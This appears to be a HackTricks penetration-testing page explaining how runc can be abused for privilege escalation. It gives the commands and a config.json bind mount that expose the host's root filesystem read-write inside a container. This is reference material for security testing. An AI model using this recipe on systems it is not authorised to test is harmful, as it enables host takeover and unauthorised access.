RunC Privilege Escalation - HackTricks

# RunC Privilege Escalation

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## Basic information

If you want to learn more about runc check the following page:

2375, 2376 Pentesting Docker

## PE

If you find that `runc` is installed in the host you may be able to run a container mounting the root / folder of the host.

    runc -help #Get help and see if runc is intalled
    runc spec #This will create the config.json file in your current folder

    Inside the "mounts" section of the create config.json add the following lines:
    {
        "type": "bind",
        "source": "/",
        "destination": "/",
        "options": [
            "rbind",
            "rw",
            "rprivate"
        ]
    },

    #Once you have modified the config.json file, create the folder rootfs in the same directory
    mkdir rootfs

    # Finally, start the container
    # The root folder is the one from the host
    runc run demo

> [!CAUTION] This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.